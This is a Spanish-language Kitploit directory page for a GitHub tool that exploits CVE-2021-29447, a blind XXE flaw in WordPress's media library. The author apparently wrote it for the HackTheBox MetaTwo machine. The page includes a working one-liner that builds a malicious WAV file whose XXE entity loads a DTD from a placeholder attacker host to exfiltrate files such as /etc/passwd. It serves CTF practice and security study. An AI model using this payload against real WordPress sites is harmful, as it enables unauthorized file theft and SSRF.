Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
blind-xxe-controller-CVE-2021-29447 — Controlador de lectura arbitraria de archivos basado en CVE-2021-29447 | Kitploit
Herramientas/GitHubGitHub/elf1337/blind-xxe-controller-cve-2021-29447
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebCTF
GitHubelf1337/blind-xxe-controller-cve-2021-29447

blind-xxe-controller-CVE-2021-29447

Controlador de lectura arbitraria de archivos basado en CVE-2021-29447

Ver Repositorio
32hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Controlador de XXE ciego

Creé este controlador al resolver la máquina metatwo en HackTheBox para explotar CVE-2021-29447, que es una vulnerabilidad XXE en WordPress en la librería de medios de las versiones afectadas 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11. En ella, un usuario autenticado con capacidad de subir archivos a la librería de medios puede cargar un archivo wav malicioso que podría provocar una lectura remota arbitraria de archivos y una falsificación de solicitudes del lado del servidor (SSRF).

Para explotar estas vulnerabilidades, se requieren varios pasos para completar un ataque exitoso. El resultado del análisis de metadatos iXML no se envía de vuelta al usuario, por lo que para explotarlo necesitamos un payload XXE ciego. Esto se puede hacer incluyendo un DTD (Definición de Tipo de Documento) externo controlado por el atacante, y debemos crear el archivo wav malicioso para recibir la conexión en el servidor de escucha del atacante. Una vez realizados estos pasos, subimos el archivo wav al servidor y esperamos a recibir una solicitud HTTP que contenga el contenido codificado en base64 de nuestro archivo de payload (por ejemplo, /etc/passwd), y luego decodificamos el base64. Este controlador tiene todas las soluciones para estos múltiples pasos. Solo necesitas escribir el nombre del archivo en el controlador $console >

Blog detallado: https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/

Nota: Este controlador está completamente configurado para la máquina metatwo de HTB. Para cualquier uso externo, necesitas hacer algunos cambios en los scripts.

Uso

Crea un archivo wav llamado payload.wav

root@kitploit:~
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:8000/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

Ejecuta main.py

root@kitploit:~
python3 main.py listen_ip

Imagen del PoC

/poc/poc.png

Descargar herramienta